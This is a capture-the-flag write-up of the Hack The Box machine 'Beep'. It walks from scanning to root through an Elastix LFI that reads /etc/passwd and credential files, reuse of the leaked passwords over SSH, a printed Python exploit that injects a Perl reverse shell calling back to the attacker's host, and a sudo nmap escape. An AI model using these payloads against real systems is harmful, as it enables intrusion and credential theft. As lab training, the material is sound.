HTB Beep Write Up

By Mike Vedete

Beep from Hackthebox, is a fairly easy machine that multiple exploitation paths. The first path we will take is direct to root and involves a little enumeration, identifying an exploit and a few good guesses. The second path, will involve examining a second exploit that does not work in its default configuration. A key piece of information is required for the exploit to be successful and return a reverse shell. From there the privilege escalation is straightforward to escalate to the root user.

Enumeration

Initial enumeration of the machine was done with: `nmap -sC -sV -oA nmap/initial 10.129.78.9

-sC for default scripts
-sV for service version enumeration
-p- for all port s
-oA to save the output to a file as .nmap, .gnmap, xml (all formats)

Following a scan of all TCP ports, the results below show only port 80 is open which simplifies what to look at next.

# Nmap 7.94 scan initiated Thu Oct 26 11:06:40 2023 as: nmap -sC -sV -oA nmap/initial -p- 10.129.78.9
Nmap scan report for 10.129.1.226
Host is up (0.029s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp?
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp    open  http       Apache httpd 2.2.3
|_http-title: Did not follow redirect to https://10.129.1.226/
|_http-server-header: Apache/2.2.3 (CentOS)
110/tcp   open  pop3?
111/tcp   open  rpcbind    2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            937/udp   status
|_  100024  1            940/tcp   status
143/tcp   open  imap?
443/tcp   open  ssl/http   Apache httpd 2.2.3 ((CentOS))
|_ssl-date: 2023-10-26T15:11:24+00:00; -1s from scanner time.
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Elastix - Login page
|_http-server-header: Apache/2.2.3 (CentOS)
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after:  2018-04-07T08:22:08
940/tcp   open  status     1 (RPC #100024)
993/tcp   open  imaps?
995/tcp   open  pop3s?
3306/tcp  open  mysql?
4190/tcp  open  sieve?
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax?
5038/tcp  open  asterisk   Asterisk Call Manager 1.1
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-server-header: MiniServ/1.570
Service Info: Host: 127.0.0.1

Host script results:
|_clock-skew: -1s

Review of the initial nmap scan we identify that port 80 is open. More often than not we should start enumerating directories while we look at something else. So to start we kick off gobuster against port 80 with the following arguments.

dir specifies gobuster should use directory/file enumeration mode
--url specifies the url
--wordlist specifies which list  of words to use. I like directory-list-2.3-medium.txt as it is a good mix of words without taking too long most of the time
-o to save the output to a file
-k to ignore certificate errors
gobuster dir --url https://10.129.78.9 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.129.78.9
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 312] [--> https://10.129.78.9/images/]
/help                 (Status: 301) [Size: 310] [--> https://10.129.78.9/help/]
/themes               (Status: 301) [Size: 312] [--> https://10.129.78.9/themes/]
/modules              (Status: 301) [Size: 313] [--> https://10.129.78.9/modules/]
/mail                 (Status: 301) [Size: 310] [--> https://10.129.78.9/mail/]
/admin                (Status: 301) [Size: 311] [--> https://10.129.78.9/admin/]
/static               (Status: 301) [Size: 312] [--> https://10.129.78.9/static/]
/lang                 (Status: 301) [Size: 310] [--> https://10.129.78.9/lang/]
/var                  (Status: 301) [Size: 309] [--> https://10.129.78.9/var/]
/panel                (Status: 301) [Size: 311] [--> https://10.129.78.9/panel/]
/libs                 (Status: 301) [Size: 310] [--> https://10.129.78.9/libs/]
/recordings           (Status: 301) [Size: 316] [--> https://10.129.78.9/recordings/]
/configs              (Status: 301) [Size: 313] [--> https://10.129.78.9/configs/]
/vtigercrm            (Status: 301) [Size: 315] [--> https://10.129.78.9/vtigercrm/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

While the scan is running its always a good idea to take a look at the webpage in a browser and check the source code. Sometimes this provides a piece of important information. In this case, we identify the webserver is running Elastix but it is not immediately clear which version.

Elastix

Once complete we can revisit the gobuster results to see if we can identify the version of Elastix. Reviewing /admin we are presented with a basic login form. While trying a few common defaults such as admin:admin, admin:password etc, did not yield any results, pressing ESC presents an Unauthorized page revealing the FreePBX version 2.8.1.4 is in use. This has not yet revealed the Elastix version but it is enough to get started.

FreePBX

Using searchsploit we can look for known exploits. In this this scenario we see two that are interesting. The Local File Inclusion and a Remote Core Execution. Lets start with the LFI.

┌──(kali㉿kali)-[~/HTB/machines/Active/Beep]
└─$ searchsploit "Elastix" 
--------------------------------------------------------------------------------------------
 Exploit Title                                                      |  Path
--------------------------------------------------------------------------------------------
Elastix - 'page' Cross-Site Scripting                               | php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulnerabilities             | php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities       | php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclusion                    | php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection                                   | php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection                                  | php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution              | php/webapps/18650.py
---------------------------------------------------------------------------------------------
Shellcodes: No Results

Looking at the code of the LFI exploit, we see the LFI is at /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action. By default, this will attempt to read the contents of /etx/amportal.conf. We can do this first, then modify it later to read other files. Running the exploit is not required, since it is an LFI, we can simply paste the URL into a browser. Doing so we see we are able to read the files contents. While formatting is not the best, since a browser tries to render it as HTML. Using CTL-U in Firefox, is a shortcut to view-source, which makes it easier to examine. Reviewing the files contents, we see what appear to be credentials which we can possibly reuse.

# FreePBX Database configuration
# AMPDBHOST: Hostname where the FreePBX database resides
# AMPDBENGINE: Engine hosting the FreePBX database (e.g. mysql)
# AMPDBNAME: Name of the FreePBX database (e.g. asterisk)
# AMPDBUSER: Username used to connect to the FreePBX database
# AMPDBPASS: Password for AMPDBUSER (above)
# AMPENGINE: Telephony backend engine (e.g. asterisk)
# AMPMGRUSER: Username to access the Asterisk Manager Interface
# AMPMGRPASS: Password for AMPMGRUSER
#
AMPDBHOST=localhost
AMPDBENGINE=mysql
# AMPDBNAME=asterisk
AMPDBUSER=asteriskuser
# AMPDBPASS=amp109
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
#AMPMGRPASS=amp111
AMPMGRPASS=jEhdIekWmdjE

Initial Access

Recalling from the nmap scan that SSH is open, we can try to login as some users with these credentials. We see the crednetial jEhdIekWmdjE used a few times so should add this to a wordlist for later use. Since we have already validated we can read files via the LFI, we can get a list of users from /etc/passwd by using the following URL view-source:https://10.129.78.9/vtigercrm/graph.php?current_language=../../../../../../../..//etc/passwd%00&module=Accounts&action. From this we can see a few valid users: root, asterisk, spamfilter, and fanis.

root:x:0:0:root:/root:/bin/bash
asterisk:x:100:101:Asterisk VoIP PBX:/var/lib/asterisk:/bin/bash
spamfilter:x:500:500::/home/spamfilter:/bin/bash
fanis:x:501:501::/home/fanis:/bin/bash

Initial attempts to use SSH reveal a Key Exchange Algorithm mismatch preventing SSH from working. However, reading the error message and a quick google search provides a solution. P

ssh [email protected] 
Unable to negotiate with 10.129.78.9 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

ssh [email protected]  -oKexAlgorithms=+diffie-hellman-group-exchange-sha1 -oHostKeyAlgorithms=+ssh-rsa

Providing a the password we discovered via the LFI on the root user provided a shell as the root user. This provides us access to both flags.

[root@beep ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@beep ~]# whoami
root
[root@beep ~]# ls -la /root/root.txt
-rw------- 1 root root 33 Oct 28 21:22 /root/root.txt
[root@beep ~]# ls -la /home/fanis/user.txt 
-rw-rw-r-- 1 fanis fanis 33 Oct 28 21:22 /home/fanis/user.txt

An extra step

Recall that the initial search for exploits had two viable candidates. The Local File Inclusion that we exploited but also a Remote Code Execution which we should also take a look at. Reviewing the python exploit, we see there are a few things that are required. We need to provide it with a remote host, our IP address and a port number with a netcat listener, and an extension. Reviewing the exploit further, we can see that this a link to a blog post further explaining it. www.offensive-security.com/vulndev/freepbx-exploit-phone-home/

Changing the first 3 variables to match our environment, and setting up a listener on port 4444, we can try to run the exploit unfortunately we don’t receive the reverse shell.

import urllib
import ssl
rhost="10.129.78.9"
lhost="10.10.14.83"
lport=4444
extension="1000"

ssl._create_default_https_context = ssl._create_unverified_context

# Reverse shell payload
url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.urlopen(url)

While I don’t that says a valid extension is required, this does seem to be interacting with a voicemail recording and presumably would require a valid extension to be provided. Using the admin credentials we obtained earlier, we can login to the /admin portal using the credentials. This leads us to a page /recordings which reveals the extension 233. In the above code, we can change the line extenstion=233 and rerun the exploit. Doing so and rerunning the exploit provides a reverse shell as the user asterisk.

 # Run the Exploit
 python2 18650.py

#Setup nc listener on port 4444
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.83] from (UNKNOWN) [10.129.78.9] 48226
whoami
asterisk

While the more direct path to root exists with the discovered credentials, this is an other method. While we still needed the admin credentials we could has also used the LFI to read the file /etc/asterisk/voicemail.conf. Doing so would also reveal the extension 233 for the Fanis user.

view-source:https://10.129.78.9/vtigercrm/graph.php?current_language=../../../../../../../..//etc/asterisk/voicemail.conf%00&module=Accounts&action

[general]
#include vm_general.inc
#include vm_email.inc
[default]

233 => ,Fanis Papafanopoulos,,,attach=no|saycid=no|envelope=no|delete=no
Sorry! Attempt to access restricted file.

Privilege Escalation

After upgrading the shell with python, we can run sudo -l to see if there are any binaries that the asterisk user can run. This reveals something unusual. nmap can be run as sudo.

python -c 'import pty; pty.spawn("/bin/bash")`
bash-3.2$ sudo -l
sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"

User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper

Checking GTFOBins we see we can run the following to obtain a root shell:

sudo nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
Tags: ctf
Share: